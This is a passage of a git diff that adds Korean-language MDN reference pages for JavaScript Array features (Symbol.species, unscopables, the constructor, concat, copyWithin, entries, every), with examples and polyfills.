+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">비고</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-get-array-@@species', 'get Array [ @@species ]')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-get-array-@@species', 'get Array [ @@species ]')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Array.@@species")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Array")}}</li>
+ <li>{{jsxref("Symbol.species")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/array/@@unscopables/index.html b/files/ko/web/javascript/reference/global_objects/array/@@unscopables/index.html
new file mode 100644
index 0000000000..1ac7f0b29b
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/array/@@unscopables/index.html
@@ -0,0 +1,72 @@
+---
+title: 'Array.prototype[@@unscopables]'
+slug: Web/JavaScript/Reference/Global_Objects/Array/@@unscopables
+tags:
+  - Array
+  - ECMAScript 2015
+  - JavaScript
+  - Property
+  - Prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/@@unscopables
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>@@unscopable</code></strong> 기호 속성은 ES2015 이전 ECMAScript 표준에 포함되지 않은 속성 이름을 포함합니다. 해당 속성들은 {{jsxref("Statements/with", "with")}} 바인딩에서 제외됩니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><var>arr</var>[Symbol.unscopables]</pre>
+
+<h2 id="설명">설명</h2>
+
+<p>with 바인딩에서 제외되는 배열의 기본 속성은 copyWithin, entries, fill, find, findIndex, includes, keys, values입니다.</p>
+
+<p>자신의 객체에 대해 <code>unscopables</code>를 설정하는 방법은 {{jsxref("Symbol.unscopables")}}를 참고하세요.</p>
+
+<p>{{js_property_attributes (0,0,1)}}</p>
+
+<h2 id="예제">예제</h2>
+
+<p>아래 코드는 ES5 이하에서 잘 작동합니다. 그러나 ECMAScript 2015 이후 {{jsxref("Array.prototype.keys()")}} 메서드가 도입되었습니다. 이는 <code>with</code> 내부에서 "keys"가 변수가 아니라 메서드임을 의미합니다. 여기서 <code>Array.prototype[@@unscopables]</code>가 개입하여 일부 배열 메서드가 <code>with</code> 범위에 묶이는 일을 방지합니다.</p>
+
+<pre class="brush: js">var keys = [];
+
+with (Array.prototype) {
+  keys.push("something");
+}
+
+Object.keys(Array.prototype[Symbol.unscopables]);
+// ["copyWithin", "entries", "fill", "find", "findIndex",
+//  "includes", "keys", "values"]</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-array.prototype-@@unscopables', 'Array.prototype[@@unscopables]')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype-@@unscopables', 'Array.prototype[@@unscopables]')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("javascript.builtins.Array.@@unscopables")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Symbol.unscopables")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/array/array/index.html b/files/ko/web/javascript/reference/global_objects/array/array/index.html
new file mode 100644
index 0000000000..3f3d60a4ec
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/array/array/index.html
@@ -0,0 +1,86 @@
+---
+title: Array() 생성자
+slug: Web/JavaScript/Reference/Global_Objects/Array/Array
+tags:
+  - Array
+  - Constructor
+  - JavaScript
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/Array
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>Array()</code></strong> 생성자는 새로운 {{jsxref("Array")}} 객체를 생성할 때 사용합니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">[<var>element0</var>, <var>element1</var>, ..., <var>elementN</var>]
+
+new Array(<var>element0</var>, <var>element1</var>[, ...[, <var>elementN</var>]])
+new Array(<var>arrayLength</var>)</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>element<em>N</em></code></dt>
+ <dd>JavaScript 배열을 초기화할 때 채워넣을 요소. 단, 항목이 하나 뿐이며 그 항목의 자료형이 숫자일 경우 아래의 <code>arrayLength</code> 매개변수로 간주합니다.</dd>
+ <dt><code>arrayLength</code></dt>
+ <dd><code>Array</code> 생성자에 제공한 유일한 매개변수가 0에서 2<sup>32</sup>-1 이하의 정수인 경우, <code>length</code> 속성이 해당 값인 새로운 JavaScript 배열을 생성합니다. (<strong>참고:</strong> 이렇게 생성한 배열은 <code>arrayLength</code> 만큼의 빈 슬롯을 가지는 것으로, 실제 {{jsxref("undefined")}}를 채우는 것이 아닙니다.) 값이 범위 밖이거나 정수가 아닌 경우 {{jsxref("RangeError")}}가 발생합니다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="배열_리터럴_표기법">배열 리터럴 표기법</h3>
+
+<p>배열은 <a href="/ko/docs/Web/JavaScript/Reference/Lexical_grammar#배열_리터럴">리터럴 표기법</a>으로 생성할 수도 있습니다.</p>
+
+<pre class="brush: js">let fruits = ['사과', '바나나']
+
+console.log(fruits.length) // 2
+console.log(fruits[0])     // "사과"
+</pre>
+
+<h3 id="단일_매개변수_배열_생성자">단일 매개변수 배열 생성자</h3>
+
+<p>배열을 생성자와 하나의 숫자 매개변수로 생성할 수 있습니다. 그 결과는 <code>length</code>가 매개변수고, 길이만큼의 빈 슬롯을 가진 배열입니다.</p>
+
+<pre class="brush: js">let fruits = new Array(2)
+
+console.log(fruits.length) // 2
+console.log(fruits[0])     // undefined
+</pre>
+
+<h3 id="복수_매개변수_배열_생성자">복수 매개변수 배열 생성자</h3>
+
+<p>생성자에 두 개 이상의 매개변수를 제공할 경우, 매개변수를 원소로 하는 새로운 배열을 생성합니다.</p>
+
+<pre class="brush: js">let fruits = new Array('사과', '바나나')
+
+console.log(fruits.length) // 2
+console.log(fruits[0])     // "사과"
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array-constructor', 'Array constructor')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Array.Array")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Array")}} 클래스</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/array/concat/index.html b/files/ko/web/javascript/reference/global_objects/array/concat/index.html
new file mode 100644
index 0000000000..b35f040632
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/array/concat/index.html
@@ -0,0 +1,138 @@
+---
+title: Array.prototype.concat()
+slug: Web/JavaScript/Reference/Global_Objects/Array/concat
+tags:
+  - Array
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/concat
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>concat()</strong></code> 메서드는 인자로 주어진 배열이나 값들을 기존 배열에 합쳐서 새 배열을 반환합니다. </p>
+
+<ul>
+ <li>기존배열을 변경하지 않습니다. </li>
+ <li> 추가된 새로운 배열을 반환합니다.</li>
+</ul>
+
+<div>{{EmbedInteractiveExample("pages/js/array-concat.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><var>array</var>.concat([value1[, value2[, ...[, <var>valueN</var>]]]])</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<ul>
+ <li>배열 또는 값 </li>
+ <li>만약 value1 ~ valueN 인자를 생략하면 기존배열의 얕은 복사본을 반환.</li>
+</ul>
+
+<dl>
+ <dt><code>valueN</code> {{optional_inline}}</dt>
+ <dd>자세한 내용은 아래 설명을 참고하세요.</dd>
+</dl>
+
+<h3 id="반환값">반환값</h3>
+
+<p>새로운 {{jsxref("Array")}} 객체.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>concat</code>은 메서드를 호출한 배열 뒤에 각 인수를 순서대로 붙여 새로운 배열을 만듭니다. 인수가 배열이면 그 구성요소가 순서대로 붙고, 배열이 아니면 인수 자체가 붙습니다. 중첩 배열 내부로 재귀하지 않습니다.</p>
+
+<p><code>concat</code>은 <code>this</code>나 인수로 넘겨진 배열의 내용을 바꾸지 않고, 대신 주어진 배열을 합친 뒤 그 얕은 사본을 반환합니다. 새 배열에는 원본 배열의 요소를 다음과 같은 방법으로 복사합니다.</p>
+
+<ul>
+ <li>실제 객체가 아닌 객체 참조: <code>concat</code>은 새 배열에 참조를 복사합니다. 원본 배열과 새 배열에서 같은 객체를 가리키게 됩니다. 즉, 참조하는 객체를 수정하면 그 내용이 새 배열과 원본 배열 둘 다에서 나타납니다.</li>
+ <li>문자열, 숫자, 불리언 등 자료형({{jsxref("String")}}, {{jsxref("Number")}}, {{jsxref("Boolean")}} 객체 아님): <code>concat</code>은 새 배열에 문자열과 수의 값을 복사합니다.</li>
+</ul>
+
+<div class="note">
+<p><strong>참고:</strong> 배열이나 값을 이어붙여도 원본은 변하지 않으며, 새로운 배열이나 원본 배열을 조작해도 서로 영향을 받지 않습니다.</p>
+</div>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="배열_두_개_이어붙이기">배열 두 개 이어붙이기</h3>
+
+<p>다음 예제는 두 개의 배열을 이어붙입니다.</p>
+
+<pre class="brush: js">const alpha = ['a', 'b', 'c'];
+const numeric = [1, 2, 3];
+
+alpha.concat(numeric);
+// 결과: ['a', 'b', 'c', 1, 2, 3]
+</pre>
+
+<h3 id="배열_세_개_이어붙이기">배열 세 개 이어붙이기</h3>
+
+<p>다음 예제는 세 개의 배열을 이어붙입니다.</p>
+
+<pre class="brush: js">const num1 = [1, 2, 3];
+const num2 = [4, 5, 6];
+const num3 = [7, 8, 9];
+
+num1.concat(num2, num3);
+// 결과: [1, 2, 3, 4, 5, 6, 7, 8, 9]
+</pre>
+
+<h3 id="배열에_값_이어붙이기">배열에 값 이어붙이기</h3>
+
+<p>다음 코드는 배열에 세 개의 값을 이어붙입니다.</p>
+
+<pre class="brush: js">const alpha = ['a', 'b', 'c'];
+
+alpha.concat(1, [2, 3]);
+// 결과: ['a', 'b', 'c', 1, 2, 3]
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">표준</th>
+   <th scope="col">상태</th>
+   <th scope="col">비고</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>최초 정의. JavaScript 1.2에서 구현됨.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.4.4.4', 'Array.prototype.concat')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-array.prototype.concat', 'Array.prototype.concat')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.concat', 'Array.prototype.concat')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>{{Compat("javascript.builtins.Array.concat")}}</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Array.push", "push")}} / {{jsxref("Array.pop", "pop")}} — 배열의 뒤에 요소 추가/제거</li>
+ <li>{{jsxref("Array.unshift", "unshift")}} / {{jsxref("Array.shift", "shift")}} — 배열의 앞에 요소 추가/제거</li>
+ <li>{{jsxref("Array.splice", "splice")}} — 배열의 특정 위치에 요소 추가/제거</li>
+ <li>{{jsxref("String.prototype.concat()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/array/copywithin/index.html b/files/ko/web/javascript/reference/global_objects/array/copywithin/index.html
new file mode 100644
index 0000000000..7d6c2cdf8b
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/array/copywithin/index.html
@@ -0,0 +1,183 @@
+---
+title: Array.prototype.copyWithin()
+slug: Web/JavaScript/Reference/Global_Objects/Array/copyWithin
+tags:
+  - Array
+  - ECMAScript 2015
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+  - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/copyWithin
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>copyWithin()</code></strong> 메서드는 배열의 일부를 얕게 복사한 뒤, 동일한 배열의 다른 위치에 덮어쓰고 그 배열을 반환합니다. 이 때, 크기(배열의 길이)를 수정하지 않고 반환합니다.</p>
+
+<p>{{EmbedInteractiveExample("pages/js/array-copywithin.html")}}</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><var>arr</var>.copyWithin(<var>target[, start[, end]]</var>)
+</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>target</code></dt>
+ <dd>복사한 시퀀스(값)를 넣을 위치를 가리키는 0 기반 인덱스. 음수를 지정하면 인덱스를 배열의 끝에서부터 계산합니다.<br>
+ <br>
+ <code>target</code>이 <code>arr.length</code>보다 크거나 같으면 아무것도 복사하지 않습니다. <code>target</code>이 <code>start</code> 이후라면 복사한 시퀀스를 <code>arr.length</code>에 맞춰 자릅니다.</dd>
+ <dt><code>start</code> {{optional_inline}}</dt>
+ <dd>복사를 시작할 위치를 가리키는 0 기반 인덱스. 음수를 지정하면 인덱스를 배열의 끝에서부터 계산합니다.<br>
+ <br>
+ 기본값은 0으로, <code>start</code>를 지정하지 않으면 배열의 처음부터 복사합니다.</dd>
+ <dt><code>end</code> {{optional_inline}}</dt>
+ <dd>복사를 끝낼 위치를 가리키는 0 기반 인덱스. <code>copyWithin</code>은 <code>end</code> 인덱스 이전까지 복사하므로 <code>end</code> 인덱스가 가리키는 요소는 제외합니다. 음수를 지정하면 인덱스를 배열의 끝에서부터 계산합니다.<br>
+ <br>
+ 기본값은 <code>arr.length</code>로, <code>end</code>를 지정하지 않으면 배열의 끝까지 복사합니다.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>수정한 배열.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>copyWithin</code>은 C와 C++의 <code>memmove</code>처럼 작동하고, 복사와 대입이 하나의 연산에서 이루어지므로 {{jsxref("Array")}}의 데이터를 이동할 때 사용할 수 있는 고성능 메서드입니다. {{jsxref("TypedArray.prototype.copyWithin()", "TypedArray")}}의 동명 메서드에서 이 특징이 두드러집니다. 붙여넣은 시퀀스의 위치가 복사한 범위와 겹치더라도 최종 결과는 원본 배열에서 복사한 것과 같습니다.</p>
+
+<p><code>copyWithin</code> 함수는 제네릭 함수로, <code>this</code> 값이 {{jsxref("Array")}} 객체일 필요는 없습니다.</p>
+
+<p><code>copyWithin</code> 메서드는 변경자 메서드로, <code>this</code>의 길이는 바꾸지 않지만 내용을 바꾸며 필요하다면 새로운 속성을 생성합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: js">[1, 2, 3, 4, 5].copyWithin(-2);
+// [1, 2, 3, 1, 2]
+
+[1, 2, 3, 4, 5].copyWithin(0, 3);
+// [4, 5, 3, 4, 5]
+
+[1, 2, 3, 4, 5].copyWithin(0, 3, 4);
+// [4, 2, 3, 4, 5]
+
+[1, 2, 3, 4, 5].copyWithin(-2, -3, -1);
+// [1, 2, 3, 3, 4]
+
+[].copyWithin.call({length: 5, 3: 1}, 0, 3);
+// {0: 1, 3: 1, length: 5}
+
+// ES2015 TypedArray는 Array의 하위 클래스
+var i32a = new Int32Array([1, 2, 3, 4, 5]);
+
+i32a.copyWithin(0, 2);
+// Int32Array [3, 4, 5, 4, 5]
+
+// 아직 ES2015를 사용할 수 없는 환경에서
+[].copyWithin.call(new Int32Array([1, 2, 3, 4, 5]), 0, 3, 4);
+// Int32Array [4, 2, 3, 4, 5]
+</pre>
+
+<h2 id="폴리필">폴리필</h2>
+
+<pre><code>if (!Array.prototype.copyWithin) {
+  Array.prototype.copyWithin = function(target, start/*, end*/) {
+    // Steps 1-2.
+    if (this == null) {
+      throw new TypeError('this is null or not defined');
+    }
+
+    var O = Object(this);
+
+    // Steps 3-5.
+    var len = O.length &gt;&gt;&gt; 0;
+
+    // Steps 6-8.
+    var relativeTarget = target &gt;&gt; 0;
+
+    var to = relativeTarget &lt; 0 ?
+      Math.max(len + relativeTarget, 0) :
+      Math.min(relativeTarget, len);
+
+    // Steps 9-11.
+    var relativeStart = start &gt;&gt; 0;
+
+    var from = relativeStart &lt; 0 ?
+      Math.max(len + relativeStart, 0) :
+      Math.min(relativeStart, len);
+
+    // Steps 12-14.
+    var end = arguments[2];
+    var relativeEnd = end === undefined ? len : end &gt;&gt; 0;
+
+    var final = relativeEnd &lt; 0 ?
+      Math.max(len + relativeEnd, 0) :
+      Math.min(relativeEnd, len);
+
+    // Step 15.
+    var count = Math.min(final - from, len - to);
+
+    // Steps 16-17.
+    var direction = 1;
+
+    if (from &lt; to &amp;&amp; to &lt; (from + count)) {
+      direction = -1;
+      from += count - 1;
+      to += count - 1;
+    }
+
+    // Step 18.
+    while (count &gt; 0) {
+      if (from in O) {
+        O[to] = O[from];
+      } else {
+        delete O[to];
+      }
+
+      from += direction;
+      to += direction;
+      count--;
+    }
+
+    // Step 19.
+    return O;
+  };
+}</code></pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-array.prototype.copywithin', 'Array.prototype.copyWithin')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES7', '#sec-array.prototype.copywithin', 'Array.prototype.copyWithin')}}</td>
+   <td>{{Spec2('ES7')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.copywithin', 'Array.prototype.copyWithin')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>{{Compat("javascript.builtins.Array.copyWithin")}}</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Array")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/array/entries/index.html b/files/ko/web/javascript/reference/global_objects/array/entries/index.html
new file mode 100644
index 0000000000..316886c261
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/array/entries/index.html
@@ -0,0 +1,89 @@
+---
+title: Array.prototype.entries()
+slug: Web/JavaScript/Reference/Global_Objects/Array/entries
+tags:
+  - Array
+  - ECMAScript 2015
+  - Iterator
+  - JavaScript
+  - Method
+  - Prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/entries
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>entries()</strong></code> 메서드는 배열의 각 인덱스에 대한 키/값 쌍을 가지는 새로운 <code><strong>Array Iterator</strong></code><strong> </strong>객체를 반환합니다.</p>
+
+<p>{{EmbedInteractiveExample("pages/js/array-entries.html")}}</p>
+
+<div class="hidden">
+<p>The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.</p>
+</div>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox notranslate"><code><var>arr</var>.entries()</code>
+</pre>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>{{jsxref("Array")}} 반복자 인스턴스 객체.</p>
+
+<h2 id="예시">예시</h2>
+
+<h3 id="인덱스와_요소_이터레이팅">인덱스와 요소 이터레이팅</h3>
+
+<pre class="notranslate">const a = ['a', 'b', 'c'];
+
+for (const [index, element] of a.entries())
+  console.log(index, element);
+
+// 0 'a'
+// 1 'b'
+// 2 'c'</pre>
+
+<h3 id="for…of_루프_사용"><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for...of">for…of</a> 루프 사용</h3>
+
+<pre class="brush:js notranslate">var a = ['a', 'b', 'c'];
+var iterator = a.entries();
+
+for (let e of iterator) {
+  console.log(e);
+}
+// [0, 'a']
+// [1, 'b']
+// [2, 'c']
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.entries', 'Array.prototype.entries')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성"><span>브라우저 호환성</span></h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Array.entries")}}</p>
+</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.keys()")}}</li>
+ <li>{{jsxref("Array.prototype.values()")}}</li>
+ <li>{{jsxref("Array.prototype.forEach()")}}</li>
+ <li>{{jsxref("Array.prototype.every()")}}</li>
+ <li>{{jsxref("Array.prototype.some()")}}</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...of">for...of</a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Iteration_protocols">Iteration protocols</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/array/every/index.html b/files/ko/web/javascript/reference/global_objects/array/every/index.html
new file mode 100644
index 0000000000..827b81e760
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/array/every/index.html
@@ -0,0 +1,191 @@
+---
+title: Array.prototype.every()
+slug: Web/JavaScript/Reference/Global_Objects/Array/every
+tags:
+  - Array
+  - ECMAScript 5
+  - JavaScript
+  - Method
+  - Prototype
+  - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/every
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>every()</strong></code> 메서드는 배열 안의 모든 요소가 주어진 판별 함수를 통과하는지 테스트합니다.</p>
+
+<div class="blockIndicator note">
+<p><strong>참고</strong>: 빈 배열에서 호출하면 무조건 <code>true</code>를 반환합니다.</p>
+</div>
+
+<div>{{EmbedInteractiveExample("pages/js/array-every.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><var>arr</var>.every(<var>callback</var>[, <var>thisArg</var>])</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>callback</code></dt>
+ <dd>각 요소를 시험할 함수. 다음 세 가지 인수를 받습니다.
+ <dl>
+  <dt><code>currentValue</code></dt>
+  <dd>처리할 현재 요소.</dd>
+  <dt><code>index</code> {{Optional_inline}}</dt>
+  <dd>처리할 현재 요소의 인덱스.</dd>
+  <dt><code>array</code> {{Optional_inline}}</dt>
+  <dd><font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">every</span></font>를 호출한 배열.</dd>
+ </dl>
+ </dd>
+ <dt><code>thisArg</code> {{Optional_inline}}</dt>
+ <dd><code>callback</code>을 실행할 때 <code>this</code>로 사용하는 값.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p><code>callback</code>이 모든 배열 요소에 대해 참({{Glossary("truthy")}})인 값을 반환하는 경우 <code><strong>true</strong></code>, 그 외엔 <code><strong>false</strong></code>.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>every</code>는 <code>callback</code>이 {{glossary("falsy", "거짓")}}을 반환하는 요소를 찾을 때까지 배열에 있는 각 요소에 대해 한 번씩 <code>callback</code> 함수를 실행합니다. 해당하는 요소를 발견한 경우 <code>every</code>는 즉시 <code>false</code>를 반환합니다. 그렇지 않으면, 즉 모든 값에서 참을 반환하면 <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">true</span></font>를 반환합니다. 할당한 값이 있는 배열의 인덱스에서만 <code>callback</code>을 호출합니다. 삭제했거나 값을 할당한 적이 없는 인덱스에서는 호출하지 않습니다.</p>
+
+<p><code>callback</code>은 요소의 값, 해당 요소의 인덱스 및 순회하고 있는 배열 세 가지 인수와 함께 호출됩니다.</p>
+
+<p><code>thisArg</code> 매개변수를 <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">every</span></font>에 제공한 경우 <code>callback</code>의 <code>this</code>로 사용됩니다. 그 외엔 {{jsxref("undefined")}}값을 사용합니다. 최종적으로 <code>callback</code>이 볼 수 있는 <code>this</code>의 값은 <a href="/ko/docs/Web/JavaScript/Reference/Operators/this">함수가 볼 수 있는 <code>this</code>를 결정하는 평소 규칙</a>을 따릅니다.</p>
+
+<p><code>every</code>는 호출한 배열을 변형하지 않습니다.</p>
+
+<p><code>every</code>가 처리하는 요소의 범위는 <code>callback</code>의 첫 호출 전에 설정됩니다. <code>every</code> 호출 이후로 배열에 추가하는 요소는 <code>callback</code>이 방문하지 않습니다. 배열에 원래 있었지만 아직 방문하지 않은 요소가 <code>callback</code>에 의해 변경된 경우, 그 인덱스를 방문하는 시점의 값을 사용합니다. 삭제한 요소는 방문하지 않습니다.</p>
+
+<p><code>every</code>는 (이산)수학에서 전칭(∀) 정량자<sup>quantifier</sup>(한정자)처럼 행동합니다. 특히, 빈 배열에 대해서는 <code>true</code>를 반환합니다. (이는 <a href="http://en.wikipedia.org/wiki/Empty_set#Common_problems">공집합</a>의 모든 요소가 어떠한 주어진 조건도 만족하는 <a href="http://en.wikipedia.org/wiki/Vacuous_truth#Vacuous_truths_in_mathematics" title="vacuously true">공허한 참</a>입니다.)</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="모든_배열_요소의_크기_테스트">모든 배열 요소의 크기 테스트</h3>
+
+<p>다음 예는 배열의 모든 요소가 10보다 더 큰지 테스트합니다.</p>
+
+<pre class="brush: js">function isBigEnough(element, index, array) {
+  return element &gt;= 10;
+}
+[12, 5, 8, 130, 44].every(isBigEnough);   // false
+[12, 54, 18, 130, 44].every(isBigEnough); // true
+</pre>
+
+<h3 id="화살표_함수_사용">화살표 함수 사용</h3>
+
+<p><a href="/ko/docs/Web/JavaScript/Reference/Functions/애로우_펑션">화살표 함수</a>는 같은 테스트에 대해 더 짧은 구문을 제공합니다.</p>
+
+<pre class="brush: js">[12, 5, 8, 130, 44].every(elem =&gt; elem &gt;= 10); // false
+[12, 54, 18, 130, 44].every(elem =&gt; elem &gt;= 10); // true</pre>
+
+<h2 id="폴리필">폴리필</h2>
+
+<p><code>every</code>는 ECMA-262 표준 제5판에 추가됐으므로 어떤 표준 구현체에서는 사용하지 못할 수도 있습니다. 다른 모든 코드 이전에 아래 코드를 포함하면 <code>every</code>를 지원하지 않는 환경에서도 사용할 수 있습니다. 아래 알고리즘은 {{jsxref("Object")}}와 {{jsxref("TypeError")}}가 변형되지 않고, <code>callbackfn.call</code>의 계산 값이 원래의 {{jsxref("Function.prototype.call()")}}과 같은 경우 ECMA-262 제5판이 명시한 것과 동일합니다.</p>
+
+<pre class="brush: js">if (!Array.prototype.every) {
+  Array.prototype.every = function(callbackfn, thisArg) {
+    'use strict';
+    var T, k;
+
+    if (this == null) {
+      throw new TypeError('this is null or not defined');
+    }
+
+    // 1. Let O be the result of calling ToObject passing the this
+    //    value as the argument.
+    var O = Object(this);
+
+    // 2. Let lenValue be the result of calling the Get internal method
+    //    of O with the argument "length".
+    // 3. Let len be ToUint32(lenValue).
+    var len = O.length &gt;&gt;&gt; 0;
+
+    // 4. If IsCallable(callbackfn) is false, throw a TypeError exception.
+    if (typeof callbackfn !== 'function') {
+      throw new TypeError();
+    }
+
+    // 5. If thisArg was supplied, let T be thisArg; else let T be undefined.
+    if (arguments.length &gt; 1) {
+      T = thisArg;
+    }
+
+    // 6. Let k be 0.
+    k = 0;
+
+    // 7. Repeat, while k &lt; len
+    while (k &lt; len) {
+
+      var kValue;
+
+      // a. Let Pk be ToString(k).
+      //   This is implicit for LHS operands of the in operator
+      // b. Let kPresent be the result of calling the HasProperty internal
+      //    method of O with argument Pk.
+      //   This step can be combined with c
+      // c. If kPresent is true, then
+      if (k in O) {
+
+        // i. Let kValue be the result of calling the Get internal method
+        //    of O with argument Pk.
+        kValue = O[k];
+
+        // ii. Let testResult be the result of calling the Call internal method
+        //     of callbackfn with T as the this value and argument list
+        //     containing kValue, k, and O.
+        var testResult = callbackfn.call(T, kValue, k, O);
+
+        // iii. If ToBoolean(testResult) is false, return false.
+        if (!testResult) {
+          return false;
+        }
+      }
+      k++;
+    }
+    return true;
+  };
+}</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
